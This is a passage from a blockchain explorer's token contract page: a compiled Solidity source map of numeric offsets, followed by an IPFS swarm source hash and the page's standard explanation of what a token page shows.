:13;4200:36;4194:2;4184:8;4181:16;4176:2;4170:4;4167:12;4163:35;4160:77;4157:159;;;-1:-1:-1;4269:19:1;;;4301:5;;4157:159;4348:34;4373:8;4367:4;4348:34;:::i;:::-;4418:6;4414:1;4410:6;4406:19;4397:7;4394:32;4391:58;;;4429:18;;:::i;:::-;4467:20;;3687:806;-1:-1:-1;;;3687:806:1:o;4498:140::-;4556:5;4585:47;4626:4;4616:8;4612:19;4606:4;4585:47;:::i;4643:168::-;4716:9;;;4747;;4764:15;;;4758:22;;4744:37;4734:71;;4785:18;;:::i;5105:125::-;5170:9;;;5191:10;;;5188:36;;;5204:18;;:::i;5235:128::-;5302:9;;;5323:11;;;5320:37;;;5337:18;;:::i;5500:127::-;5561:10;5556:3;5552:20;5549:1;5542:31;5592:4;5589:1;5582:15;5616:4;5613:1;5606:15;5632:251;5702:6;5755:2;5743:9;5734:7;5730:23;5726:32;5723:52;;;5771:1;5768;5761:12;5723:52;5803:9;5797:16;5822:31;5847:5;5822:31;:::i;5888:980::-;6150:4;6198:3;6187:9;6183:19;6229:6;6218:9;6211:25;6255:2;6293:6;6288:2;6277:9;6273:18;6266:34;6336:3;6331:2;6320:9;6316:18;6309:31;6360:6;6395;6389:13;6426:6;6418;6411:22;6464:3;6453:9;6449:19;6442:26;;6503:2;6495:6;6491:15;6477:29;;6524:1;6534:195;6548:6;6545:1;6542:13;6534:195;;;6613:13;;-1:-1:-1;;;;;6609:39:1;6597:52;;6704:15;;;;6669:12;;;;6645:1;6563:9;6534:195;;;-1:-1:-1;;;;;;;6785:32:1;;;;6780:2;6765:18;;6758:60;-1:-1:-1;;;6849:3:1;6834:19;6827:35;6746:3;5888:980;-1:-1:-1;;;5888:980:1:o;6873:217::-;6913:1;6939;6929:132;;6983:10;6978:3;6974:20;6971:1;6964:31;7018:4;7015:1;7008:15;7046:4;7043:1;7036:15;6929:132;-1:-1:-1;7075:9:1;;6873:217::o

Swarm Source

ipfs://e606425d1721881881a2804e65dae6a764f1e3383070b580e190d9d1310f129b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.